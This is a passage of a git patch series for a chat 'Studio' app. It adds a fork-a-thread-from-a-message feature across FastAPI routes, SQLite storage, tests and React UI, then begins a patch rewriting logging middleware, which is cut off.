+    forkedFromThreadId: Optional[str] = None
+    forkedFromMessageId: Optional[str] = None
 
 
 class ChatThreadPatch(BaseModel):
@@ -518,6 +522,85 @@ async def put_settings(
         ) from exc
 
 
+class ChatForkRequest(BaseModel):
+    messageId: str
+    newThreadId: str
+    createdAt: int
+
+
+class ChatForkResponse(BaseModel):
+    thread: ChatThread
+    messages: list[ChatMessage]
+    containerSnapshotWarning: Optional[str] = None
+
+
+class ChatForkCountResponse(BaseModel):
+    count: int
+
+
+@router.post("/threads/{thread_id}/fork", response_model = ChatForkResponse)
+async def fork_thread(
+    thread_id: str,
+    payload: ChatForkRequest,
+    current_subject: str = Depends(get_current_subject),
+):
+    """Fork a thread at `messageId` -- creates a new thread with
+    ancestor msgs [root..messageId] copied with fresh ids. Both
+    code-exec container ids reset on the fork. OpenAI snapshot is a
+    best-effort enhancement; failure surfaces as
+    `containerSnapshotWarning` and the fork still succeeds with a
+    clean sandbox.
+    """
+    import uuid
+
+    source = get_chat_thread(thread_id)
+    if source is None:
+        raise HTTPException(status_code = 404, detail = f"Thread {thread_id} not found")
+    if get_chat_message(thread_id, payload.messageId) is None:
+        raise HTTPException(
+            status_code = 404,
+            detail = f"Message {payload.messageId} not found in thread {thread_id}",
+        )
+    base_title = source.get("title") or "New Chat"
+    new_title = f"fork · {base_title}"
+    forked = fork_chat_thread(
+        source_thread_id = thread_id,
+        branch_message_id = payload.messageId,
+        new_thread_id = payload.newThreadId,
+        new_title = new_title,
+        created_at = payload.createdAt,
+        id_factory = lambda: str(uuid.uuid4()),
+    )
+    if forked is None:
+        raise HTTPException(status_code = 500, detail = "Fork failed")
+    messages = list_chat_messages(payload.newThreadId)
+    # Best-effort OpenAI container snapshot. Stub: a follow-up patch can
+    # call /v1/containers list+download / create+upload here and patch
+    # the new openaiCodeExecContainerId. For v1 we always start clean
+    # and surface the same warning regardless of provider so the UI can
+    # show a consistent "sandbox starts fresh" toast.
+    warning: Optional[str] = None
+    if source.get("openaiCodeExecContainerId") or source.get("anthropicCodeExecContainerId"):
+        warning = "Sandbox starts fresh in fork; files from parent are not carried over."
+    return ChatForkResponse(
+        thread = ChatThread(**forked),
+        messages = [ChatMessage(**m) for m in messages],
+        containerSnapshotWarning = warning,
+    )
+
+
+@router.get(
+    "/threads/{thread_id}/messages/{message_id}/forks",
+    response_model = ChatForkCountResponse,
+)
+async def get_fork_count(
+    thread_id: str,
+    message_id: str,
+    current_subject: str = Depends(get_current_subject),
+):
+    return ChatForkCountResponse(count = count_forks_for_message(thread_id, message_id))
+
+
 @router.get("/export", response_model = ChatExportResponse)
 async def export_history(current_subject: str = Depends(get_current_subject)):
     from datetime import datetime, timezone
diff --git a/studio/backend/storage/studio_db.py b/studio/backend/storage/studio_db.py
index 85cfacbc27..7421b42b2f 100644
--- a/studio/backend/storage/studio_db.py
+++ b/studio/backend/storage/studio_db.py
@@ -216,6 +216,8 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
             created_at INTEGER NOT NULL,
             openai_code_exec_container_id TEXT,
             anthropic_code_exec_container_id TEXT,
+            forked_from_thread_id TEXT,
+            forked_from_message_id TEXT,
             FOREIGN KEY(project_id) REFERENCES chat_projects(id) ON DELETE CASCADE
         )
         """
@@ -229,6 +231,10 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
         conn.execute("ALTER TABLE chat_threads ADD COLUMN openai_code_exec_container_id TEXT")
     if "anthropic_code_exec_container_id" not in chat_thread_cols:
         conn.execute("ALTER TABLE chat_threads ADD COLUMN anthropic_code_exec_container_id TEXT")
+    if "forked_from_thread_id" not in chat_thread_cols:
+        conn.execute("ALTER TABLE chat_threads ADD COLUMN forked_from_thread_id TEXT")
+    if "forked_from_message_id" not in chat_thread_cols:
+        conn.execute("ALTER TABLE chat_threads ADD COLUMN forked_from_message_id TEXT")
     conn.execute(
         """
         CREATE TABLE IF NOT EXISTS chat_messages (
@@ -956,6 +962,8 @@ def _chat_thread_from_row(row: sqlite3.Row) -> dict:
         "createdAt": data["created_at"],
         "openaiCodeExecContainerId": data.get("openai_code_exec_container_id"),
         "anthropicCodeExecContainerId": data.get("anthropic_code_exec_container_id"),
+        "forkedFromThreadId": data.get("forked_from_thread_id"),
+        "forkedFromMessageId": data.get("forked_from_message_id"),
     }
 
 
@@ -999,8 +1007,8 @@ def upsert_chat_thread(thread: dict) -> dict:
         conn.execute(
             """
             INSERT INTO chat_threads
-                (id, title, model_type, model_id, pair_id, project_id, archived, created_at, openai_code_exec_container_id, anthropic_code_exec_container_id)
-            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
+                (id, title, model_type, model_id, pair_id, project_id, archived, created_at, openai_code_exec_container_id, anthropic_code_exec_container_id, forked_from_thread_id, forked_from_message_id)
+            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
             ON CONFLICT(id) DO UPDATE SET
                 title = excluded.title,
                 model_type = excluded.model_type,
@@ -1010,7 +1018,9 @@ def upsert_chat_thread(thread: dict) -> dict:
                 archived = excluded.archived,
                 created_at = excluded.created_at,
                 openai_code_exec_container_id = excluded.openai_code_exec_container_id,
-                anthropic_code_exec_container_id = excluded.anthropic_code_exec_container_id
+                anthropic_code_exec_container_id = excluded.anthropic_code_exec_container_id,
+                forked_from_thread_id = excluded.forked_from_thread_id,
+                forked_from_message_id = excluded.forked_from_message_id
             """,
             (
                 thread["id"],
@@ -1023,6 +1033,8 @@ def upsert_chat_thread(thread: dict) -> dict:
                 int(thread["createdAt"]),
                 thread.get("openaiCodeExecContainerId"),
                 thread.get("anthropicCodeExecContainerId"),
+                thread.get("forkedFromThreadId"),
+                thread.get("forkedFromMessageId"),
             ),
         )
         conn.commit()
@@ -1048,6 +1060,14 @@ def update_chat_thread(id: str, patch: dict) -> Optional[dict]:
             "anthropic_code_exec_container_id",
             patch.get("anthropicCodeExecContainerId"),
         ),
+        "forkedFromThreadId": (
+            "forked_from_thread_id",
+            patch.get("forkedFromThreadId"),
+        ),
+        "forkedFromMessageId": (
+            "forked_from_message_id",
+            patch.get("forkedFromMessageId"),
+        ),
     }
     assignments = []
     values = []
@@ -1445,6 +1465,126 @@ def sync_chat_messages(
         conn.close()
 
 
+def fork_chat_thread(
+    source_thread_id: str,
+    branch_message_id: str,
+    new_thread_id: str,
+    new_title: str,
+    created_at: int,
+    id_factory,
+) -> Optional[dict]:
+    """Atomically clone thread + ancestor msgs `[root..branch_message_id]`
+    into a new thread. Returns the new thread dict (with messages copied)
+    or None if source missing.
+
+    Reset both code-exec container ids -- per-provider snapshot is handled
+    by the route layer (best-effort, OpenAI only).
+
+    `id_factory()` produces fresh message uuids; injected for testability.
+    """
+    conn = get_connection()
+    try:
+        conn.execute("BEGIN IMMEDIATE")
+        src = conn.execute(
+            "SELECT * FROM chat_threads WHERE id = ?", (source_thread_id,)
+        ).fetchone()
+        if src is None:
+            conn.rollback()
+            return None
+        # Verify branch msg belongs to source thread.
+        branch_row = conn.execute(
+            "SELECT * FROM chat_messages WHERE thread_id = ? AND id = ?",
+            (source_thread_id, branch_message_id),
+        ).fetchone()
+        if branch_row is None:
+            conn.rollback()
+            return None
+        # Walk ancestry from branch msg back to root via parent_id chain.
+        ancestry: list[sqlite3.Row] = []
+        cursor_row = branch_row
+        seen: set[str] = set()
+        while cursor_row is not None and cursor_row["id"] not in seen:
+            ancestry.append(cursor_row)
+            seen.add(cursor_row["id"])
+            parent = cursor_row["parent_id"]
+            if not parent:
+                break
+            cursor_row = conn.execute(
+                "SELECT * FROM chat_messages WHERE thread_id = ? AND id = ?",
+                (source_thread_id, parent),
+            ).fetchone()
+        ancestry.reverse()  # root .. branch msg
+        # Map old msg id -> new msg id for parent_id rewriting.
+        id_map: dict[str, str] = {row["id"]: id_factory() for row in ancestry}
+        src_dict = dict(src)
+        conn.execute(
+            """
+            INSERT INTO chat_threads
+                (id, title, model_type, model_id, pair_id, project_id, archived, created_at,
+                 openai_code_exec_container_id, anthropic_code_exec_container_id,
+                 forked_from_thread_id, forked_from_message_id)
+            VALUES (?, ?, ?, ?, ?, ?, 0, ?, NULL, NULL, ?, ?)
+            """,
+            (
+                new_thread_id,
+                new_title,
+                src_dict["model_type"],
+                src_dict.get("model_id") or "",
+                None,  # pairId: forks always standalone (compare-mode disabled v1)
+                src_dict.get("project_id"),
+                int(created_at),
+                source_thread_id,
+                branch_message_id,
+            ),
+        )
+        conn.executemany(
+            """
+            INSERT INTO chat_messages
+                (id, thread_id, parent_id, role, content_json, attachments_json,
+                 metadata_json, created_at)
+            VALUES (?, ?, ?, ?, ?, ?, ?, ?)
+            """,
+            [
+                (
+                    id_map[row["id"]],
+                    new_thread_id,
+                    id_map.get(row["parent_id"]) if row["parent_id"] else None,
+                    row["role"],
+                    row["content_json"],
+                    row["attachments_json"],
+                    row["metadata_json"],
+                    int(row["created_at"]),
+                )
+                for row in ancestry
+            ],
+        )
+        conn.commit()
+        thread_row = conn.execute(
+            "SELECT * FROM chat_threads WHERE id = ?", (new_thread_id,)
+        ).fetchone()
+        return _chat_thread_from_row(thread_row) if thread_row is not None else None
+    except Exception:
+        conn.rollback()
+        raise
+    finally:
+        conn.close()
+
+
+def count_forks_for_message(thread_id: str, message_id: str) -> int:
+    conn = get_connection()
+    try:
+        row = conn.execute(
+            """
+            SELECT COUNT(*) FROM chat_threads
+            WHERE forked_from_thread_id = ? AND forked_from_message_id = ?
+            """,
+            (thread_id, message_id),
+        ).fetchone()
+        return int(row[0]) if row is not None else 0
+    finally:
+        conn.close()
+
+
 def list_chat_messages(thread_id: str) -> list[dict]:
     conn = get_connection()
     try:
diff --git a/studio/backend/tests/test_chat_history_routes.py b/studio/backend/tests/test_chat_history_routes.py
index e3aeb4eb22..2a6ebe244f 100644
--- a/studio/backend/tests/test_chat_history_routes.py
+++ b/studio/backend/tests/test_chat_history_routes.py
@@ -169,3 +169,177 @@ def test_record_import_ledger_rejects_oversize_payload():
         chat_history.ChatImportLedgerRecordRequest(
             threadIds = [f"id-{i}" for i in range(10_001)],
         )
+
+
+# ---------------------------------------------------------------------------
+# /api/chat/threads/{id}/fork
+# ---------------------------------------------------------------------------
+
+
+def test_fork_thread_404_when_source_missing(monkeypatch):
+    monkeypatch.setattr(chat_history, "get_chat_thread", lambda _id: None)
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(
+            chat_history.fork_thread(
+                thread_id = "missing",
+                payload = chat_history.ChatForkRequest(
+                    messageId = "m1",
+                    newThreadId = "new",
+                    createdAt = 1,
+                ),
+                current_subject = "test-user",
+            )
+        )
+    assert exc.value.status_code == 404
+
+
+def test_fork_thread_404_when_branch_message_missing(monkeypatch):
+    monkeypatch.setattr(chat_history, "get_chat_thread", lambda _id: {"id": _id, "title": "T"})
+    monkeypatch.setattr(chat_history, "get_chat_message", lambda _t, _m: None)
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(
+            chat_history.fork_thread(
+                thread_id = "src",
+                payload = chat_history.ChatForkRequest(
+                    messageId = "missing",
+                    newThreadId = "new",
+                    createdAt = 1,
+                ),
+                current_subject = "test-user",
+            )
+        )
+    assert exc.value.status_code == 404
+
+
+def test_fork_thread_happy_path(monkeypatch):
+    source = {
+        "id": "src",
+        "title": "Original",
+        "modelType": "base",
+        "modelId": "m",
+        "pairId": None,
+        "archived": False,
+        "createdAt": 1,
+        "openaiCodeExecContainerId": None,
+        "anthropicCodeExecContainerId": None,
+        "forkedFromThreadId": None,
+        "forkedFromMessageId": None,
+    }
+    forked = {
+        **source,
+        "id": "new",
+        "title": "fork · Original",
+        "createdAt": 2,
+        "forkedFromThreadId": "src",
+        "forkedFromMessageId": "m1",
+    }
+    monkeypatch.setattr(chat_history, "get_chat_thread", lambda _id: source)
+    monkeypatch.setattr(
+        chat_history,
+        "get_chat_message",
+        lambda _t, _m: {
+            "id": _m,
+            "threadId": _t,
+            "role": "user",
+            "content": [],
+            "createdAt": 1,
+        },
+    )
+    monkeypatch.setattr(chat_history, "fork_chat_thread", lambda **_: forked)
+    monkeypatch.setattr(
+        chat_history,
+        "list_chat_messages",
+        lambda _id: [
+            {
+                "id": "n1",
+                "threadId": "new",
+                "parentId": None,
+                "role": "user",
+                "content": [],
+                "createdAt": 1,
+            }
+        ],
+    )
+    response = asyncio.run(
+        chat_history.fork_thread(
+            thread_id = "src",
+            payload = chat_history.ChatForkRequest(
+                messageId = "m1",
+                newThreadId = "new",
+                createdAt = 2,
+            ),
+            current_subject = "test-user",
+        )
+    )
+    assert response.thread.id == "new"
+    assert response.thread.title == "fork · Original"
+    assert response.thread.forkedFromThreadId == "src"
+    assert response.thread.forkedFromMessageId == "m1"
+    assert len(response.messages) == 1
+    assert response.containerSnapshotWarning is None
+
+
+def test_fork_thread_warns_when_parent_had_container(monkeypatch):
+    source = {
+        "id": "src",
+        "title": "T",
+        "modelType": "base",
+        "modelId": "",
+        "pairId": None,
+        "archived": False,
+        "createdAt": 1,
+        "openaiCodeExecContainerId": "cnt_123",
+        "anthropicCodeExecContainerId": None,
+        "forkedFromThreadId": None,
+        "forkedFromMessageId": None,
+    }
+    monkeypatch.setattr(chat_history, "get_chat_thread", lambda _id: source)
+    monkeypatch.setattr(
+        chat_history,
+        "get_chat_message",
+        lambda _t, _m: {
+            "id": _m,
+            "threadId": _t,
+            "role": "user",
+            "content": [],
+            "createdAt": 1,
+        },
+    )
+    monkeypatch.setattr(
+        chat_history,
+        "fork_chat_thread",
+        lambda **_: {
+            **source,
+            "id": "new",
+            "title": "fork · T",
+            "forkedFromThreadId": "src",
+            "forkedFromMessageId": "m1",
+            "openaiCodeExecContainerId": None,
+        },
+    )
+    monkeypatch.setattr(chat_history, "list_chat_messages", lambda _id: [])
+    response = asyncio.run(
+        chat_history.fork_thread(
+            thread_id = "src",
+            payload = chat_history.ChatForkRequest(
+                messageId = "m1",
+                newThreadId = "new",
+                createdAt = 2,
+            ),
+            current_subject = "test-user",
+        )
+    )
+    assert response.containerSnapshotWarning is not None
+    assert "fresh" in response.containerSnapshotWarning.lower()
+
+
+def test_get_fork_count(monkeypatch):
+    monkeypatch.setattr(chat_history, "count_forks_for_message", lambda _t, _m: 3)
+    response = asyncio.run(
+        chat_history.get_fork_count(
+            thread_id = "t",
+            message_id = "m",
+            current_subject = "test-user",
+        )
+    )
+    assert response.count == 3
diff --git a/studio/backend/tests/test_chat_history_storage.py b/studio/backend/tests/test_chat_history_storage.py
index bc74ec172a..aa19df15fe 100644
--- a/studio/backend/tests/test_chat_history_storage.py
+++ b/studio/backend/tests/test_chat_history_storage.py
@@ -378,3 +378,135 @@ def test_legacy_imports_ignores_empty(tmp_path, monkeypatch):
     assert studio_db.upsert_chat_legacy_imports([]) == (0, 0)
     assert studio_db.upsert_chat_legacy_imports(["", None]) == (0, 0)  # type: ignore[list-item]
     assert studio_db.list_chat_legacy_imports() == []
+
+
+# ---------------------------------------------------------------------------
+# fork_chat_thread
+# ---------------------------------------------------------------------------
+
+
+def _msg(mid: str, parent: str | None, t: int) -> dict:
+    return {
+        "id": mid,
+        "threadId": "src",
+        "parentId": parent,
+        "role": "user",
+        "content": [{"type": "text", "text": mid}],
+        "createdAt": t,
+    }
+
+
+def test_fork_chat_thread_copies_ancestry_with_fresh_ids(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    studio_db.upsert_chat_thread(
+        {**_thread("src"), "title": "Original", "openaiCodeExecContainerId": "cnt-x"}
+    )
+    # Linear chain: m1 -> m2 -> m3. Plus a sibling m4 off m2 (should NOT
+    # be copied since we fork at m3).
+    studio_db.sync_chat_messages(
+        "src",
+        [
+            _msg("m1", None, 1),
+            _msg("m2", "m1", 2),
+            _msg("m3", "m2", 3),
+            _msg("m4", "m2", 4),  # sibling — must be excluded
+        ],
+    )
+
+    counter = {"i": 0}
+
+    def id_factory():
+        counter["i"] += 1
+        return f"new-{counter['i']}"
+
+    forked = studio_db.fork_chat_thread(
+        source_thread_id = "src",
+        branch_message_id = "m3",
+        new_thread_id = "fork-1",
+        new_title = "fork · Original",
+        created_at = 99,
+        id_factory = id_factory,
+    )
+    assert forked is not None
+    assert forked["id"] == "fork-1"
+    assert forked["forkedFromThreadId"] == "src"
+    assert forked["forkedFromMessageId"] == "m3"
+    # Container ids reset on fork.
+    assert forked["openaiCodeExecContainerId"] is None
+
+    copied = studio_db.list_chat_messages("fork-1")
+    # 3 ancestors (m1, m2, m3); m4 excluded.
+    assert len(copied) == 3
+    # parent_id rewritten using new ids; root has parentId None.
+    assert copied[0]["parentId"] is None
+    assert copied[1]["parentId"] == copied[0]["id"]
+    assert copied[2]["parentId"] == copied[1]["id"]
+    # All new ids regenerated.
+    assert {m["id"] for m in copied}.isdisjoint({"m1", "m2", "m3"})
+
+
+def test_fork_chat_thread_preserves_project_id(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    studio_db.upsert_chat_project(_project("project-1"))
+    studio_db.upsert_chat_thread({**_thread("src"), "projectId": "project-1"})
+    studio_db.upsert_chat_message(_msg("m1", None, 1))
+
+    forked = studio_db.fork_chat_thread(
+        source_thread_id = "src",
+        branch_message_id = "m1",
+        new_thread_id = "fork-1",
+        new_title = "fork · Original",
+        created_at = 99,
+        id_factory = lambda: "new-1",
+    )
+
+    assert forked is not None
+    assert forked["projectId"] == "project-1"
+    assert {thread["id"] for thread in studio_db.list_chat_threads(project_id = "project-1")} == {
+        "fork-1",
+        "src",
+    }
+
+
+def test_fork_chat_thread_returns_none_for_missing_source(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    result = studio_db.fork_chat_thread(
+        source_thread_id = "nope",
+        branch_message_id = "m1",
+        new_thread_id = "fork",
+        new_title = "f",
+        created_at = 1,
+        id_factory = lambda: "x",
+    )
+    assert result is None
+
+
+def test_count_forks_for_message(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    studio_db.upsert_chat_thread(_thread("src"))
+    studio_db.sync_chat_messages("src", [_msg("m1", None, 1)])
+    assert studio_db.count_forks_for_message("src", "m1") == 0
+
+    counter = {"i": 0}
+
+    def id_factory():
+        counter["i"] += 1
+        return f"id-{counter['i']}"
+
+    studio_db.fork_chat_thread(
+        source_thread_id = "src",
+        branch_message_id = "m1",
+        new_thread_id = "f1",
+        new_title = "f1",
+        created_at = 2,
+        id_factory = id_factory,
+    )
+    studio_db.fork_chat_thread(
+        source_thread_id = "src",
+        branch_message_id = "m1",
+        new_thread_id = "f2",
+        new_title = "f2",
+        created_at = 3,
+        id_factory = id_factory,
+    )
+    assert studio_db.count_forks_for_message("src", "m1") == 2
diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx
index 838fce4fa7..ce1beb24d7 100644
--- a/studio/frontend/src/components/assistant-ui/thread.tsx
+++ b/studio/frontend/src/components/assistant-ui/thread.tsx
@@ -50,6 +50,11 @@ import {
   DropdownMenuSubTrigger,
   DropdownMenuTrigger,
 } from "@/components/ui/dropdown-menu";
+import {
+  CHAT_HISTORY_UPDATED_EVENT,
+  forkChatThread,
+  getForkCount,
+} from "@/features/chat/api/chat-api";
 import { sentAudioNames } from "@/features/chat/api/chat-adapter";
 import {
   PromptStorageDialog,
@@ -126,6 +131,7 @@ import {
   ChevronLeftIcon,
   ChevronRightIcon,
   Columns2Icon,
+  GitBranchIcon,
   GlobeIcon,
   HeadphonesIcon,
   MoreHorizontalIcon,
@@ -2729,6 +2735,111 @@ const AssistantMessage: FC = () => {
 
 const COPY_RESET_MS = 2000;
 
+const ForkCountBadge: FC = () => {
+  const aui = useAui();
+  const messageId = useAuiState(({ message }) => message.id);
+  const [count, setCount] = useState(0);
+
+  useEffect(() => {
+    let cancelled = false;
+    const refresh = () => {
+      const remoteId = aui.threadListItem().getState().remoteId;
+      if (!remoteId) {
+        if (!cancelled) setCount(0);
+        return;
+      }
+      void getForkCount(remoteId, messageId)
+        .then((n) => {
+          if (!cancelled) setCount(n);
+        })
+        .catch(() => {
+          /* swallow: badge is non-critical */
+        });
+    };
+    refresh();
+    const handler = () => refresh();
+    window.addEventListener(CHAT_HISTORY_UPDATED_EVENT, handler);
+    return () => {
+      cancelled = true;
+      window.removeEventListener(CHAT_HISTORY_UPDATED_EVENT, handler);
+    };
+  }, [aui, messageId]);
+
+  if (count <= 0) return null;
+  return (
+    <span
+      className="mx-1 inline-flex items-center gap-1 rounded-sm bg-primary/10 px-1.5 py-0.5 text-[10px] font-medium text-primary"
+      title={`${count} fork${count === 1 ? "" : "s"} from this message`}
+    >
+      <GitBranchIcon strokeWidth={1.75} className="size-3" />
+      {count}
+    </span>
+  );
+};
+
+const useForkMessageAction = () => {
+  const aui = useAui();
+  const navigate = useNavigate();
+  const messageId = useAuiState(({ message }) => message.id);
+  const isRunning = useAuiState(({ thread }) => thread.isRunning);
+  const [pending, setPending] = useState(false);
+
+  const handleFork = async () => {
+    const remoteId = aui.threadListItem().getState().remoteId;
+    if (!remoteId) {
+      toast.error("Cannot fork an unsaved chat");
+      return;
+    }
+    setPending(true);
+    try {
+      const result = await forkChatThread(remoteId, {
+        messageId,
+        newThreadId: crypto.randomUUID(),
+        createdAt: Date.now(),
+      });
+      useChatRuntimeStore.getState().setActiveThreadId(result.thread.id);
+      navigate({
+        to: "/chat",
+        search: { thread: result.thread.id },
+        replace: false,
+      });
+      if (result.containerSnapshotWarning) {
+        toast.info("Fork created", {
+          description: result.containerSnapshotWarning,
+        });
+      } else {
+        toast.success("Fork created");
+      }
+    } catch (error) {
+      console.error("Failed to fork", error);
+      toast.error("Failed to fork", {
+        description: error instanceof Error ? error.message : undefined,
+      });
+    } finally {
+      setPending(false);
+    }
+  };
+
+  return {
+    forkMessage: handleFork,
+    forkDisabled: isRunning || pending,
+  };
+};
+
+const ForkMessageButton: FC = () => {
+  const { forkMessage, forkDisabled } = useForkMessageAction();
+
+  return (
+    <TooltipIconButton
+      tooltip="Fork from here"
+      disabled={forkDisabled}
+      onClick={forkMessage}
+    >
+      <GitBranchIcon strokeWidth={1.75} className="size-icon" />
+    </TooltipIconButton>
+  );
+};
+
 const DeleteMessageButton: FC = () => {
   const aui = useAui();
   const messageId = useAuiState(({ message }) => message.id);
@@ -2799,6 +2910,8 @@ const CopyButton: FC = () => {
 };
 
 const AssistantActionBar: FC = () => {
+  const { forkMessage, forkDisabled } = useForkMessageAction();
+
   return (
     <ActionBarPrimitive.Root
       hideWhenRunning={true}
@@ -2810,6 +2923,7 @@ const AssistantActionBar: FC = () => {
           <RefreshCwIcon strokeWidth={1.75} className="size-icon" />
         </TooltipIconButton>
       </ActionBarPrimitive.Reload>
+      <ForkCountBadge />
       <DeleteMessageButton />
       <ActionBarMorePrimitive.Root>
         <ActionBarMorePrimitive.Trigger asChild={true}>
@@ -2824,10 +2938,18 @@ const AssistantActionBar: FC = () => {
           side="bottom"
           align="start"
           onCloseAutoFocus={(e) => e.preventDefault()}
-          className="aui-action-bar-more-content z-50 min-w-32 overflow-hidden rounded-full bg-popover p-1 text-popover-foreground shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] dark:shadow-none"
+          className="aui-action-bar-more-content z-50 min-w-32 overflow-hidden rounded-[21px] bg-popover px-[9px] py-2 text-popover-foreground shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] dark:shadow-none"
         >
+          <ActionBarMorePrimitive.Item
+            disabled={forkDisabled}
+            onSelect={() => void forkMessage()}
+            className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50"
+          >
+            <GitBranchIcon strokeWidth={1.75} className="size-icon" />
+            Fork in new chat
+          </ActionBarMorePrimitive.Item>
           <ActionBarPrimitive.ExportMarkdown asChild={true}>
-            <ActionBarMorePrimitive.Item className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-full px-3 py-1.5 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground">
+            <ActionBarMorePrimitive.Item className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground">
               <HugeiconsIcon icon={Download01Icon} strokeWidth={1.75} className="size-icon" />
               Export as Markdown
             </ActionBarMorePrimitive.Item>
@@ -2894,6 +3016,8 @@ const UserActionBar: FC = () => {
           />
         </TooltipIconButton>
       </ActionBarPrimitive.Edit>
+      <ForkCountBadge />
+      <ForkMessageButton />
       <DeleteMessageButton />
     </ActionBarPrimitive.Root>
   );
diff --git a/studio/frontend/src/features/chat/api/chat-api.ts b/studio/frontend/src/features/chat/api/chat-api.ts
index 7f5cc2f974..33493ecda0 100644
--- a/studio/frontend/src/features/chat/api/chat-api.ts
+++ b/studio/frontend/src/features/chat/api/chat-api.ts
@@ -379,6 +379,45 @@ export async function updateChatThread(
   return thread;
 }
 
+export interface ForkChatThreadResult {
+  thread: ThreadRecord;
+  messages: MessageRecord[];
+  containerSnapshotWarning: string | null;
+}
+
+export async function forkChatThread(
+  threadId: string,
+  args: { messageId: string; newThreadId: string; createdAt: number },
+): Promise<ForkChatThreadResult> {
+  const response = await authFetch(
+    `/api/chat/threads/${encodeURIComponent(threadId)}/fork`,
+    {
+      method: "POST",
+      headers: { "Content-Type": "application/json" },
+      body: JSON.stringify(args),
+    },
+  );
+  const data = await parseJsonOrThrow<{
+    thread: ThreadRecord;
+    messages: MessageRecord[];
+    containerSnapshotWarning: string | null;
+  }>(response);
+  notifyChatHistoryUpdated();
+  return data;
+}
+
+export async function getForkCount(
+  threadId: string,
+  messageId: string,
+): Promise<number> {
+  const response = await authFetch(
+    `/api/chat/threads/${encodeURIComponent(threadId)}/messages/${encodeURIComponent(messageId)}/forks`,
+  );
+  if (response.status === 404) return 0;
+  const data = await parseJsonOrThrow<{ count: number }>(response);
+  return data.count;
+}
+
 export async function deleteChatThreads(threadIds: string[]): Promise<void> {
   if (threadIds.length === 0) return;
   const response = await authFetch("/api/chat/threads", {
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-sidebar-items.ts b/studio/frontend/src/features/chat/hooks/use-chat-sidebar-items.ts
index 71d6079fc7..55d7777e43 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-sidebar-items.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-sidebar-items.ts
@@ -27,6 +27,7 @@ export interface SidebarItem {
   id: string;
   title: string;
   createdAt: number;
+  isFork?: boolean;
   projectId?: string | null;
 }
 
@@ -64,6 +65,7 @@ export function groupThreads(
         id: t.id,
         title: t.title,
         createdAt: t.createdAt,
+        isFork: Boolean(t.forkedFromThreadId),
         projectId: t.projectId ?? null,
       });
     }
diff --git a/studio/frontend/src/features/chat/thread-sidebar.tsx b/studio/frontend/src/features/chat/thread-sidebar.tsx
index 0d35facb2a..9e65fc5749 100644
--- a/studio/frontend/src/features/chat/thread-sidebar.tsx
+++ b/studio/frontend/src/features/chat/thread-sidebar.tsx
@@ -257,6 +257,14 @@ export function ThreadSidebar({
                     isActive={activeId === item.id}
                     onClick={() => onSelect(viewForItem(item))}
                   >
+                    {item.isFork ? (
+                      <span
+                        className="mr-1 rounded-sm bg-primary/10 px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wide text-primary"
+                        title="Forked from another chat"
+                      >
+                        fork
+                      </span>
+                    ) : null}
                     <span>{item.title}</span>
                   </SidebarMenuButton>
                   <DropdownMenu>
diff --git a/studio/frontend/src/features/chat/types.ts b/studio/frontend/src/features/chat/types.ts
index ef4dd7dbcb..3fe69ccc26 100644
--- a/studio/frontend/src/features/chat/types.ts
+++ b/studio/frontend/src/features/chat/types.ts
@@ -57,6 +57,14 @@ export interface ThreadRecord {
    * clears this field so the next turn falls back to auto-create.
    */
   anthropicCodeExecContainerId?: string | null;
+  /**
+   * If this thread was created via fork-from-message, points back at
+   * the source thread + branch-point msg. Null/undefined for non-fork
+   * threads. Used by the sidebar "fork" badge and the parent thread's
+   * "N forks" indicator on the branch-point msg.
+   */
+  forkedFromThreadId?: string | null;
+  forkedFromMessageId?: string | null;
 }
 
 export interface MessageRecord {

From 31943d3c21485b287587729fb75ad534000995e7 Mon Sep 17 00:00:00 2001
From: Wasim Yousef Said <wasimysdev@gmail.com>
Date: Mon, 15 Jun 2026 17:03:00 +0200
Subject: [PATCH 17/91] Studio: rewrite logging middleware as pure ASGI (#6337)

---
 studio/backend/loggers/handlers.py            |  97 ++++++-----
 .../backend/tests/test_logging_middleware.py  | 150 ++++++++++++++++++
 2 files changed, 208 insertions(+), 39 deletions(-)
 create mode 100644 studio/backend/tests/test_logging_middleware.py

diff --git a/studio/backend/loggers/handlers.py b/studio/backend/loggers/handlers.py
index f03af7b40e..b8691587ac 100644
--- a/studio/backend/loggers/handlers.py
+++ b/studio/backend/loggers/handlers.py
@@ -10,11 +10,9 @@ get_logger (factory for structured loggers).
 
 import re
 import time
-from typing import Callable
 
 import structlog
-from fastapi import Request, Response
-from starlette.middleware.base import BaseHTTPMiddleware
+from starlette.types import ASGIApp, Message, Receive, Scope, Send
 
 from utils.native_path_leases import redact_native_paths
 
@@ -22,51 +20,72 @@ logger = structlog.get_logger(__name__)
 _NATIVE_PATH_LEASE_RE = re.compile(
     r"(?i)(\b(?:native_path_lease|nativePathLease)[\"']?\s*[:=]\s*[\"']?)[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+"
 )
+_EXCLUDED_PATHS = {
+    "/api/train/status",
+    "/api/train/metrics",
+    "/api/train/hardware",
+    "/api/system",
+}
